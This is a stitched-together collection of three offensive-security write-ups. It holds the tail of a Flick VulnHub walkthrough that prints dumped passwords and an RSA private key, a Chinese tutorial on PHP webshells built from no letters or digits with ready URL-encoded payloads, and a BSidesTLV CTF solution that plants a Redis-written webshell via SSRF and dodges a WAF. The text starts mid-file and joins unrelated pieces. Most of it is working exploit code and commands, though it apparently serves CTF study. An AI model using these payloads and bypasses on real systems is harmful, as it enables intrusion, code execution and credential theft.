'flick', 'password' => 'resuddecNeydmar3', 'charset' => 'utf8', 'collation' => 'utf8_unicode_ci', 'prefix' => '', ), 'pgsql' => array( 'driver' => 'pgsql', 'host' => 'localhost', 'database' => 'forge', 'username' => 'forge', 'password' => '', 'charset' => 'utf8', 'prefix' => '', 'schema' => 'public', ), 'sqlsrv' => array( 'driver' => 'sqlsrv', 'host' => 'localhost', 'database' => 'database', 'username' => 'root', 'password' => '', 'prefix' => '', ), ), 'redis' => array( 'cluster' => false, 'default' => array( 'host' => '127.0.0.1', 'port' => 6379, 'database' => 0, ), ), ``` access **http://192.168.10.42/image/download?filename=....//....//....//....//var/www/flick_photos/app/database/production.sqlite**, and download sqlite database. ``` lab:flick/ $ sqlite3 production.sqlite SQLite version 3.8.10.2 2015-05-20 18:17:19 Enter ".help" for usage hints. sqlite> .databases Error: file is encrypted or is not a database lab:flick/ $ file production.sqlite production.sqlite: SQLite 2.x database ``` ``` sqlite> .tables old_users sqlite> .dump old_users BEGIN TRANSACTION; CREATE TABLE old_users ( username text, password text ); INSERT INTO old_users VALUES('paul','nejEvOibKugEdof0KebinAw6TogsacPayarkOctIasejbon7Ni7Grocmyalkukvi'); INSERT INTO old_users VALUES('robin','JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIg4yijovyirtAwUjad1'); INSERT INTO old_users VALUES('james','scujittyukIjwip0zicjoocAnIltAsh4Vuer4osDidsaiWipOkDunipownIrtOb5'); INSERT INTO old_users VALUES('dean','FumKivcenfodErk0Chezauggyokyait5fojEpCayclEcyaj2heTwef0OlNiphAnA'); COMMIT; ``` we can connect to host with SSH with **robin** and **dean**. dean can login it successfully. ``` .o88o. oooo o8o oooo 888 `" `888 `"' `888 o888oo 888 oooo .ooooo. 888 oooo 888 888 `888 d88' `"Y8 888 .8P' 888 888 888 888 888888. 888 888 888 888 .o8 888 `88b. o888o o888o o888o `Y8bod8P' o888o o888o dean@192.168.10.42's password: Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic x86_64) * Documentation: https://help.ubuntu.com/ System information as of Tue Jul 21 10:20:28 SAST 2015 System load: 0.0 Processes: 87 Usage of /: 36.0% of 6.99GB Users logged in: 0 Memory usage: 50% IP address for eth0: 192.168.10.42 Swap usage: 0% IP address for docker0: 172.17.42.1 Graph this data and manage this system at: https://landscape.canonical.com/ New release '14.04.2 LTS' available. Run 'do-release-upgrade' to upgrade to it. Last login: Sat Aug 2 14:42:15 2014 from 192.168.56.1 dean@flick:~$ dean@flick:~$ ls -l /var/www/ flick_photos/ index.php dean@flick:~$ ls -l /var/www/flick_photos/ total 100 drwxr-xr-x 12 www-data www-data 4096 Aug 1 2014 app -rw-r--r-- 1 www-data www-data 2452 Aug 1 2014 artisan drwxr-xr-x 2 www-data www-data 4096 Aug 1 2014 bootstrap -rw-r--r-- 1 www-data www-data 697 Aug 1 2014 composer.json -rw-r--r-- 1 www-data www-data 59423 Aug 1 2014 composer.lock -rw-r--r-- 1 www-data www-data 146 Aug 1 2014 CONTRIBUTING.md -rw-r--r-- 1 www-data www-data 567 Aug 1 2014 phpunit.xml drwxr-xr-x 7 www-data www-data 4096 Aug 1 2014 public -rw-r--r-- 1 www-data www-data 2051 Aug 1 2014 readme.md -rw-r--r-- 1 www-data www-data 519 Aug 1 2014 server.php drwxr-xr-x 20 www-data www-data 4096 Aug 1 2014 vendor ``` ---- ###docker#### ``` dean@flick:~$ ./read_docker /home/robin/flick-dev/ # Flick-a-photo dev env RUN apt-get update && apt-get install -y php5 libapache2-mod-php5 php5-mysql php5-cli && apt-get clean && rm -rf /var/lib/apt/lists/* CMD ["/usr/sbin/apache2", "-D", "FOREGROUND"] ``` ``` dean@flick:~$ ln -s /home/robin/.ssh/id_rsa Dockerfile dean@flick:~$ ls -l total 36 lrwxrwxrwx 1 dean dean 23 Jul 21 11:16 Dockerfile -> /home/robin/.ssh/id_rsa -rw-r--r-- 1 root root 1250 Aug 4 2014 message.txt -rwsr-xr-x 1 robin robin 8987 Aug 4 2014 read_docker dean@flick:~$ ./read_docker /home/dean/ -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAlv/0uKdHFQ4oT06Kp3yg0tL1fFVl4H+iS1UOqds0HrgBCTSw ECwVwhrIFJa/u5FOPGst8t35CKo4VWX3KNHXFNVtUXWeQFpe/rB/0wi+k8E8WtXi FBjLiFOqTDL0kgXRoQzUPlYg0+LAXo5EbMq+rB2ZgMJTxunJFV2m+uKtbZZRvzU6 S1Fj6XHh/U0E68d6sZ/+y1UhSJLaFYUQMkfLtjxPa17sPZ+kwB1R4puhVTprfQOk CinfW01ot2Rj2HLMR5CpgA28dmxw8W6w0MGtXurTegj1ydFOTgB1/k4XpXnSGNO9 d2AlVR/NsKDAuYKdgRGFFh91nGZTl1p4em48YwIDAQABAoIBADI3bwhVwSL0cV1m jmAC520VcURnFhlh+PQ6lkTQvHWW1elc10yZjKbfxzhppdvYB/+52S8SuPYzvcZQ wbCWkIPCMrfLeNSH+V2UDv58wvxaYBsJVEVAtbdhs5nhvEovmzaHELKmbAZrO3R2 tbTEfEK7GUij176oExKC8bwv1GND/qQBwLtEJj/YVJSsdvrwroCde+/oJHJ76ix4 Ty8sY5rhKYih875Gx+7IZNPSDn45RsnlORm8fd5EGLML6Vm3iLfwkHIxRdj9DFoJ wJcPX7ZWTsmyJLwoHe3XKklz2KW185hIr9M2blMgrPC2ZuTnvBXmEWuy86+xxAB0 mFXYMdkCgYEAx6yab3huUTgTwReaVpysUEqy4c5nBLKqs6eRjVyC9jchQfOqo5AQ l8bd6Xdrk0lvXnVkZK0vw2zwqlk8N/vnZjfWnCa4unnv2CZXS9DLaeU6gRgRQFBI JB+zHyhus+ill4aWHitcEXiBEjUHx4roC7Al/+tr//cjwUCwlHk75F0CgYEAwZhZ gBjAo9X+/oFmYlgVebfR3kLCD4pVPMz+HyGCyjSj0+ddsHkYiHBhstBtHh9vU+Pn JMhrtR9yzXukuyQr/ns1mhEQOUtTaXrsy/1FyRBaISrtcyGAruu5yWubT0gXk2Dq rwyb6M6MbnwEMZr2mSBU5l27cTKypFqgcA58l78CgYAWM5vsXxCtGTYhFzXDAaKr PtMLBn8v54nRdgVaGXo6VEDva1+C1kbyCVutVOjyNI0cjKMACr2v1hIgbtGiS/Eb zYOgUzHhEiPX/dNhC7NCcAmERx/L7eFHmvq4sS81891NrtpMOnf/PU3kr17REiHh AtIG1a9pg5pHJ6E6sQw2xQKBgHXeqm+BopieDFkstAeglcK8Fr16a+lGUktojDis EJPIpQ65yaNOt48qzXEv0aALh57OHceZd2qZsS5G369JgLe6kJIzXWtk325Td6Vj mX+nwxh6qIP2nADkaQOnzrHgtOn4kiruRGbki0AhpfQF46qrssVnwF5Vfcrvmstf JqDFAoGBAI9KJamhco8BBka0PUWgJ3R2ZqE1viTvyME1G25h7tJb17cIeB/PeTS1 Q9KMFl61gpl0J4rJEIakeGpXuehwYAzNBv7n6yr8CNDNkET/cVhp+LCmbS91FwAK VP0mqDppzOZ04B9FQD8Af6kUzxzGFH8tAN5SNYSW88I9Z8lVpfkn -----END RSA PRIVATE KEY----- ``` ``` dean@flick:~$ ssh -i ~/.ssh/id_rsa robin@192.168.10.42 ``` ``` robin@flick:~$ docker run ubuntu ls -l /home total 0 robin@flick:~$ docker run ubuntu ls -l /root total 0 robin@flick:~$ docker run -t -i -v /root:/root ubuntu /bin/bash root@a86a88c8f91b:/# ls -l /root/ total 8 drwxr-xr-x 2 root root 4096 Aug 1 2014 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc -rw-r--r-- 1 root root 67 Aug 1 2014 flag.txt root@a86a88c8f91b:/# cat /root/flag.txt Errr, you are close, but this is not the flag you are looking for. root@a86a88c8f91b:/# cat /root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/real_flag.txt Congrats! You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :) ciao for now! @leonjza root@a86a88c8f91b:/# ``` ---- ##References## - 9 Feb 2015 - [Pentest lab - Flick](https://chousensha.github.io/blog/2015/02/09/pentest-lab-flick/) (chousensha) - 8 Oct 2014 - [Flick Challenge](http://resources.infosecinstitute.com/flick-challenge/) (Infosec Institute) - 12 Sep 2014 - [Quick tricks to beat the Flick](http://stealthsploit.com/2014/09/12/quick-tricks-to-beat-the-flick/) (ChP4wned) - 17 Aug 2014 - [Vulnhub Flick VM Writeup](http://shieldsec.com/pentest/vulnhub-flick-vm-writeup/) (Captain-Fungi) - 16 Aug 2014 - [Flick: 1](http://rastamouse.me/blog/2014/flick-1/) (Rasta Mouse) - 14 Aug 2014 - [Flick Hacking Challenge](http://blog.techorganic.com/2014/08/14/flick-hacking-challenge/) (superkojiman) - 13 Aug 2014 - [Flick Vulnerable VM](http://drxpsec-drxp.rhcloud.com/2014/08/13/flick-vulnerable-vm/) (drxp) - 13 Aug 2014 - [How Many Hackers Does It Take to Change a Lightbulb ?](http://fourfourfourfour.co/2014/08/13/how-many-hackers-does-it-take-to-change-a-lightbulb/) (recrudesce)
sec-knowleage
# 无字母数字Webshell --- **相关文章 & Source & Reference** - [记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)](https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html) - [一些不包含数字和字母的webshell](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html) - [无字母数字Webshell之提高篇](https://www.freebuf.com/articles/web/186298.html) - [浅析CTF绕过字符数字构造shell](https://mp.weixin.qq.com/s/mxwoodKUiXdbOSgPUkKaWg) --- ## 异或绕过 ```php <?php echo "A"^"?"; //输出的结果是字符"~" ?> ``` 之所以会得到这样的结果,是因为代码中对字符 "A" 和字符 "?" 进行了异或操作。在 PHP 中,两个变量进行异或时,先会将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完,又将结果从二进制转换成了 ASCII 值,再将 ASCII 值转换成字符串。异或操作有时也被用来交换两个变量的值。 比如像上面这个例子 A 的 ASCII 值是 65,对应的二进制值是 01000001 ? 的 ASCII 值是 63,对应的二进制值是 00111111 异或的二进制的值是 01111110,对应的 ASCII 值是 126,对应的字符串的值就是~ 了 **案例** PHP 是弱类型的语言,也就是说在 PHP 中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于 PHP 弱类型的这个特点,我们对 PHP 的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码: ```php <?php function B(){ echo "test"; } $_++; $__= "?" ^ "}"; $__(); ?> ``` 上面的代码运行将输出 "test" `$_++;` 这行代码的意思是对变量名为 `_` 的变量进行自增操作,在 PHP 中未定义的变量默认值为 null,`null==false==0`, 我们可以在不使用任何数字的情况下, 通过对未定义变量的自增操作来得到一个数字。 `$__="?" ^ "}";` 对字符 `?` 和 `}` 进行异或运算,得到结果 B 赋给变量名为 `__`(两个下划线) 的变量 `$__();` 通过上面的赋值操作,变量 `$__` 的值为 B,所以这行可以看作是 B(), 在 PHP 中, 这行代码表示调用函数 B, 所以执行结果为 test。在 PHP 中,我们可以将字符串当作函数来处理。 有了这个例子,我们就可以使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST","system","call_user_func_array",或者是任何我们需要的东西。 ```php <?php @$_++;  // $_ = 1 $__=("#"^"|");  // $__ = _ $__.=("."^"~");  // _P $__.=("/"^"`");  // _PO $__.=("|"^"/");  // _POS $__.=("{"^"/");  // _POST  ${$__}[!$_](${$__}[$_]);  // $_POST[0]($_POST[1]); ?> //.=是字符串的连接 //POST /?0=assert //1=echo phpinfo(); ``` 甚至可以将上面的代码合并为一行,从而使程序的可读性更差 ```php $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); ``` --- ## 取反绕过 取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。 直接看构造 phpinfo() ```php (~%8F%97%8F%96%91%99%90)(); ``` **构造 assert 字符** ``` %9E^%FF=>a %8C^%FF=>s %9A^%FF=>e %8D^%FF=>r %8B^%FF=>t %A0^%FF=>_ %AF^%FF=>P %B0^%FF=>O %AC^%FF=>S %AB^%FF=>T $_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF"; $__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF"; $___=$$__; $_($___[_]); ``` --- ## 例题1 ```php <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> ``` 绕过 A-Za-z0-9 这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符 并且字符串长度小于 40 然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后执行 ```php $code=~"getFlag"; echo urlencode($code); //得到处理过的值 ``` 最终 writeup ```php ?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); // 把getFlag取反然后URL编码 ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag ?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag ?code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊(); ``` **PHP7 的思路** PHP7 前是不允许用 ($a)(); 这样的方法来执行动态函数的,但 PHP7 中增加了对此的支持。所以,我们可以通过 ('phpinfo')(); 来执行函数,第一个括号中可以是任意 PHP 表达式。 所以很简单了,构造一个可以生成 phpinfo 这个字符串的 PHP 表达式即可。payload 如下(不可见字符用 url 编码表示): ``` (~%8F%97%8F%96%91%99%90)(); ``` ```php ?code=(~%8F%97%8F%96%91%99%90)(); ``` --- ## 例题2 ```php <?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); } ``` 将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,如 “assert”,然后动态执行之即可。 那么,变换方法 将是解决本题的要点。 不过在此之前,我需要说说 php5 和 7 的差异。 php5 中 assert 是一个函数,我们可以通过 $f='assert';$f(...); 这样的方法来动态执行任意代码。 但 php7 中,assert 不再是函数,变成了一个语言结构(类似 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用 file_put_contents 函数,同样可以用来 getshell。 **思路1** 通过异或执行命令 ```php <?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]); ``` ``` POST /?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]); Content-Type: application/x-www-form-urlencoded _=phpinfo(); ``` ``` POST /?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo //${_GET}{%ff}();&%ff=phpinfo 经过一次 get 传参会进行一次 URL 解码,所以我们可以将字符先进行 url 编码再进行异或得到我们想要的字符。 ``` **思路2** 通过位运算里的“取反”执行命令 利用的是 UTF-8 编码的某个汉字,并将其中某个字符取出来,比如 ('和'{2}) 的结果是 "\x8c",其取反即为字母 s: 利用这个特性 ```php <?php $__=('>'>'<')+('>'>'<'); $_=$__/$__; $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[$__]); ``` ``` POST /?shell=%24__%3D%28%27%3E%27%3E%27%3C%27%29%2B%28%27%3E%27%3E%27%3C%27%29%3B%24_%3D%24__%2F%24__%3B%24____%3D%27%27%3B%24___%3D%22%E7%9E%B0%22%3B%24____.%3D%7E%28%24___%7B%24_%7D%29%3B%24___%3D%22%E5%92%8C%22%3B%24____.%3D%7E%28%24___%7B%24__%7D%29%3B%24___%3D%22%E5%92%8C%22%3B%24____.%3D%7E%28%24___%7B%24__%7D%29%3B%24___%3D%22%E7%9A%84%22%3B%24____.%3D%7E%28%24___%7B%24_%7D%29%3B%24___%3D%22%E5%8D%8A%22%3B%24____.%3D%7E%28%24___%7B%24_%7D%29%3B%24___%3D%22%E5%A7%8B%22%3B%24____.%3D%7E%28%24___%7B%24__%7D%29%3B%24_____%3D%27_%27%3B%24___%3D%22%E4%BF%AF%22%3B%24_____.%3D%7E%28%24___%7B%24__%7D%29%3B%24___%3D%22%E7%9E%B0%22%3B%24_____.%3D%7E%28%24___%7B%24__%7D%29%3B%24___%3D%22%E6%AC%A1%22%3B%24_____.%3D%7E%28%24___%7B%24_%7D%29%3B%24___%3D%22%E7%AB%99%22%3B%24_____.%3D%7E%28%24___%7B%24_%7D%29%3B%24_%3D%24%24_____%3B%24____%28%24_%5B%24__%5D%29%3B Content-Type: application/x-www-form-urlencoded 2=phpinfo(); ``` **思路3** 借助PHP的一个小技巧 PHP 支持 C 风格的前/后递增与递减运算符。 ``` ++$a 前加 $a 的值加一,然后返回 $a。 $a++ 后加 返回 $a,然后将 $a 的值加一。 --$a 前减 $a 的值减一, 然后返回 $a。 $a-- 后减 返回 $a,然后将 $a 的值减一。 ``` 也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。 那么,如何拿到一个值为字符串'a'的变量呢? 巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array: 再取这个字符串的第一个字母,就可以获得'A'了。 利用这个技巧,得到如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是 `ASSERT($_POST[_])`,无需获取小写a): ```php <?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]); ``` ``` POST /?shell=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B Content-Type: application/x-www-form-urlencoded _=phpinfo(); ``` **过滤了_** ``` ?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?> ``` ?>闭合了 eval 自带的 <? 标签。接下来使用了短标签。{} 包含的 PHP 代码可以被执行,~"%a0%b8%ba%ab" 为 "_GET",通过反引号进行 shell 命令执行。最后我们只要 GET 传参 %a0 即可执行命令。 **过滤了$** - PHP7 在 PHP7 中,我们可以使用 ($a)() 这种方法来执行命令。所以可以用取反构造 payload 执行命令。(~%8F%97%8F%96%91%99%90)(); 执行 phpinfo 函数,第一个括号中可以是任意的表达式。但是这里不能用 assert()来执行函数,因为 php7 不支持 assert()函数。 - PHP5 在 PHP5 中不再支持 ($a)() 方法来调用函数 1. shell 下可以利用 . 来执行任意脚本 2. Linux 文件名支持 glob 通配符代替 ``` echo "ls" > AAAAAAAAAA . ?????????? ``` 可以发送一个上传文件的 POST 包,此时 PHP 会将我们上传的文件保存在临时文件夹下,默认的文件名是 / tmp/phpXXXXXX, 文件名最后 6 个字符是随机的大小写字母。 现在我们可以利用 glob 通配符匹配该文件,我们知道 * `*` 可以代替 0 个及以上任意文件 * `?` 可以代表 1 个任意字符 * `[^a]` 可以用来判断这个位置的字符是不是 a * `[0-9] 可以用来限制范围 ` 通过 ascii 码表我们知道,可见大写字母 `@` 与 `[` 之间,所以我们可以利用 `[@-[]` 来表示大写字母。 综上,我们可以利用 `. /???/????????[@-[]` 来匹配 `/tmp/phpXXXXXX` --- ## 例题3 ```php <?php if(isset($_GET['evil'])){ if(strlen($_GET['evil'])>25||preg_match("/[\w$=()<>'\"]/", $_GET['evil'])){ die("danger!!"); } @eval($_GET['evil']); } highlight_file(__FILE__); ?> ``` 过滤了字母,数字,`$` , `_` , `()` 等,但 \` 和 `.` 还没有被过滤。由于过滤了()所以不论 PHP 版本是 5 或者 7,都不能执行 ($a)(),所以就没有必要去判断 PHP 版本。由此可以想到上传一个小马文件,然后用 \` 来执行文件。 写一个表单上传 ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> <form action="http://ip:*****/" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="提交"> </form> </body> </html> ``` 提交一个 1.txt 的文件,这个文件会被保存在这个 /tmp/phpXXXXXX 临时文件夹下,我们执行这个临时文件夹就是执行 1.txt 文件里面的内容。 我们在把 1.txt 中写入 ls,并把执行完 1.txt 文件返回的内容(即执行 ls 返回的内容)保存在 var/www/html 目录下的 abc 文件中 var/www/html 是 Apache 的默认路径,我们也可以直接写 ls />abc ``` POST /test.php?evil=`.+/???/????????[@-[]`; HTTP/1.1 Content-Length: 195 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNQMxukHq6dCelaDR Connection: close ------WebKitFormBoundaryNQMxukHq6dCelaDR Content-Disposition: form-data; name="file"; filename="test.txt" Content-Type: text/plain ls />/tmp/abc ------WebKitFormBoundaryNQMxukHq6dCelaDR-- ``` > 这里如果测不出来建议用burp爆破模块跑
sec-knowleage
# WebProxy Nightmare * Category: Web * 400 Points * Solved by the JCTF Team ## Description > I have implemented WAF! but again all my data is leaking! HELP ME > > URL: http://webproxy2.ctf.bsidestlv.com:8002/?csurl=https://gdpr-info.eu/ > > Note: please include the BSidesTLV cookie ## Solution This is the follow-up challenge for [WebProxy](WebProxy.md). Again, we start by changing the `csurl` parameter to localhost: ```console root@kali:/media/sf_CTFs/bsidestlv/WebProxy_Nightmare# curl http://webproxy2.ctf.bsidestlv.com:8002/?csurl=http://127.0.0.1 ``` As a response, we get a table with the following content: | Service name: | IP Address: | Port: | | ------------- | ----------- | ----- | | Redis | 10.42.106.242 | 6379 | | NGINX | 10.42.249.43 | 80 | We should probably try to see what happens when we run our original solution on the new server (after changing the IP address): ```console root@kali:/media/sf_CTFs/bsidestlv/WebProxy_Nightmare# python3 solve.py Sending request to: 'dict://10.42.106.242:6379/CONFIG SET dir /var/www/html' Sending request to: 'dict://10.42.106.242:6379/CONFIG SET dbfilename shell.php' Sending request to: 'dict://10.42.106.242:6379/SET mykey2 "<\x3Fphp echo \"\\n\"; system($_GET[\'command\']); exit;\x3F>"' Sending request to: 'dict://10.42.106.242:6379/SAVE' Sending request to: 'http://10.42.106.242:80/shell.php?command=cat $(find / -name flag.txt)' BLOCKED BY WAF! ``` So there's a WAF here blocking access to the Redis server. Turns out we can easily bypass it by changing the IP address. One methods is using a decimal representation of the IP address: ```python IP_ADDR = int(ipaddress.ip_address('10.42.106.242')) ``` Output: ```console root@kali:/media/sf_CTFs/bsidestlv/WebProxy_Nightmare# python3 solve.py Sending request to: 'dict://170552050:6379/CONFIG SET dir /var/www/html' Sending request to: 'dict://170552050:6379/CONFIG SET dbfilename shell.php' Sending request to: 'dict://170552050:6379/SET mykey2 "<\x3Fphp echo \"\\n\"; system($_GET[\'command\']); exit;\x3F>"' Sending request to: 'dict://170552050:6379/SAVE' Sending request to: 'http://170552050:80/shell.php?command=cat $(find / -name flag.txt)' REDIS0006ş flag!BsidesTLV2020{Y0u_4r3_A_Genius!!} mykey22<?php echo "\n"; system($_GET['command']); exit;?>ÿÙ�ÈŞÀRfİ ``` Another option is to use a DNS mapping service such as [1u.ms](1u.ms) or [nip.io](nip.io) that map a subdomain to an IP address based on the subdomain name: ```python IP_ADDR = "make-10.42.106.242-rr.1u.ms" IP_ADDR = "10.42.106.242.nip.io" ``` Output: ```console root@kali:/media/sf_CTFs/bsidestlv/WebProxy_Nightmare# python3 solve.py Sending request to: 'dict://make-10.42.106.242-rr.1u.ms:6379/CONFIG SET dir /var/www/html' Sending request to: 'dict://make-10.42.106.242-rr.1u.ms:6379/CONFIG SET dbfilename shell.php' Sending request to: 'dict://make-10.42.106.242-rr.1u.ms:6379/SET mykey2 "<\x3Fphp echo \"\\n\"; system($_GET[\'command\']); exit;\x3F>"' Sending request to: 'dict://make-10.42.106.242-rr.1u.ms:6379/SAVE' Sending request to: 'http://make-10.42.106.242-rr.1u.ms:80/shell.php?command=cat $(find / -name flag.txt)' REDIS0006ş flag!BsidesTLV2020{Y0u_4r3_A_Genius!!} mykey22<?php echo "\n"; system($_GET['command']); exit;?>ÿÙ�ÈŞÀRfİ 